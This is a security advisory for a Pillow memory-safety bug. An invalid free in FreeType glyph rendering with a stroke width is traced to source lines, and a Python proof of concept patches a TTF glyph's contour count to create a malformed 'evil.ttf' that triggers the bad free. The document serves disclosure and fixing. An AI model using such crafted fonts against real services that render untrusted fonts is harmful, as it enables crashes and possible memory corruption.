Pillow: Invalid free in FreeType glyph rendering when a stroker is active

Summary

When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FT_Load_Glyph fails for a glyph, the cleanup path calls FT_Done_Glyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details

glyph is declared without a NULL initializer:

• src/_imagingft.c:848

The first measurement loop can jump to glyph_error before glyph is ever assigned:

• src/_imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

• src/_imagingft.c:1242

The cleanup frees it whenever a stroker exists:

• src/_imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC

This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FT_Load_Glyph returns an error while the face still opens.

import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer